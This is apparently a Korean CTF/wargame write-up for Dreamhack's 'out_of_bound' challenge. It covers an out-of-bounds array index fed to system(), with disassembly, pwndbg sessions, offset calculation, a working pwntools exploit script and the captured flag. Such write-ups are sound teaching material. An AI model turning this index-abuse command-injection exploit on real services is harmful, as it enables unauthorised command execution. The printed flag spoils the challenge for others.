g.s.song 2025. 1. 22. 16:49

1. Prob


이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
"flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

2. Analysis


해당 문제도 소스코드가 함께 주어지므로, 소스코드 분석을 통해 취약점을 찾는다. Out Of Bound라고 문제에서 명시하고 있으며, 어렵지 않게 취약점을 찾을 수 있다. 

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };

(중략)
 
int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

상기의 코드를 확인하였을 때, 정말 어렵지 않게 취약점을 찾을 수 있다. 

먼저 문자열 배열인 command 의 배열 사이즈는 10이며, 이 중 5개의 배열만 초기화 되어 있다. 그리고 scanf( ) 함수를 통해 입력 받은 정수의 배열 인덱스에 해당하는 command 문자열 배열의 데이터를 system( ) 함수를 통해 실행한다.

문제는 scanf( ) 함수를 통해 입력 받는 정수의 범위를 제한하지 않아 0~4 이외의 정수가 입력될 경우 배열의 잘못된 영역을 참조하게 된다, 이러한 취약점을 out of boundary 라고 한다.

 

문제 해결을 위해서는 system( ) 함수의 인자를 내가 원하는 인자로 세팅할 필요가 있다. (예를 들면.. cat flag 라던가..? 아니면 /bin/sh 라던가...) 그렇다면 command[idx] 의 데이터가 내가 입력한 값으 되면 된다. 이제 동적 분석을 통해 내가 원하는 공격이 실제로 가능한지 판단할 필요가 있다.

 

0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>:   add    esp,0x10
0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>:   sub    esp,0xc
0x08048741 <+118>:   push   eax
0x08048742 <+119>:   call   0x8048500 <system@plt>

 

상기의 어셈블리는 문제 파일의 main  함수에 대한 disassembly 결과 중 scanf( ) 함수를 사용하여 사용자 입력을 받고 system( ) 함수의 실행으로 이어지는 부분만 발췌한 것이다.

먼저 scanf( ) 함수를 통해 입력받은 정수가 ebp-0x10 에 저장되고, 이를 eax 레지스터에 복사한다. 그리고 eax*4+0x804a060 값을 eax 레지스터에 복사하고, 이를 system( ) 함수의 인자로 사용한다. scanf( )함수를 통해 입력받은 값은 정수이기 때문에 입력 값에 x4를 하는 것이라고 유추하면, 0x804a060은 command 배열의 주소일 것이라고 유추할 수 있다.

pwndbg> i var command
All variables matching regular expression "command":

Non-debugging symbols:
0x0804a060  command

 

그리고 name 배열의 주소도 위와 같은 방법으로 알 수 있다

pwndbg> i var name
All variables matching regular expression "name":

Non-debugging symbols:
0x0804a0ac  name

 

그리고 스택 내에서 두 배열의 거리 (offset)은 아래와 같이 구할 수 있다.

pwndbg> p/d 0x0804a0ac - 0x0804a060
$1 = 76

 

자 생각해보자. command[idx]가 내가 입력하는 name 배열을 참조하게 만들기 위해 eax*4가 76이 되야한다. 그렇다면 정수로 입력한 eax에 저장된 값은 76 / 4 = 19, 즉 idx 값이 19가 되면 name 배열을 참조하게 된다. 

그렇다면 name 배열에 'cat flag' 문자열을 저장하고, idx에 19를 입력하여 플래그를 읽을 수 있을 것이라고 생각했다.

pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19
[Attaching after Thread 0xf7fc24c0 (LWP 4929) vfork to child process 4932]
[New inferior 2 (process 4932)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 4929 after child exit]
[Inferior 1 (process 4929) detached]
[Inferior 2 (process 4932) exited with code 0177]
pwndbg>

개같이 실패...

 

원인을 찾기 위해 다시 디버깅을 시작해본다.

pwndbg> b *main+119
Breakpoint 1 at 0x8048742
pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19

Breakpoint 1, 0x08048742 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
 EAX  0x20746163 ('cat ')
 EBX  0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0xf7fc24c0 ◂— 0xf7fc24c0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x8048770 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd358 ◂— 0
 ESP  0xffffd330 ◂— 0x20746163 ('cat ')
 EIP  0x8048742 (main+119) —▸ 0xfffdb9e8 ◂— 0xfffdb9e8
 
 (중략)

 

흠... 인자로 'cat '만 들어가 있다. 그리고 이 문자열을 주소로 인식한다. 그렇다면.. name+4에 'cat flag' 문자열을 저장하고, name 배열을 system 함수의 인자로 넣으면 될 것 같다.

from pwn import*
context.log_level = 'debug'

file = "./out_of_bound"
#p = process (file)
p = remote('host1.dreamhack.games', 15251)
elf = ELF(file)

p.recvuntil(b"name: ")

cmd_addr = elf.symbols['command']
name_addr = elf.symbols['name']

payload = p32(name_addr+4)
payload += b'cat ./flag'

p.sendline(payload)
p.recvuntil(b"?: ")

p.sendline(b'19')

p.interactive()
python oob1_ex.py
[+] Opening connection to host1.dreamhack.games on port 15251: Done
[*] '/home/gssong/Desktop/out_of_bound'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0xc bytes:
    b'Admin name: '
[DEBUG] Sent 0xf bytes:
    00000000  b0 a0 04 08  63 61 74 20  2e 2f 66 6c  61 67 0a     │····│cat │./fl│ag·│
    0000000f
[DEBUG] Received 0x13 bytes:
    b'What do you want?: '
[DEBUG] Sent 0x3 bytes:
    b'19\n'
[*] Switching to interactive mode
[DEBUG] Received 0x24 bytes:
    b'DH{2524e20ddeee45f11c8eb91804d57296}'
DH{2524e20ddeee45f11c8eb91804d57296}[*] Got EOF while reading in interactive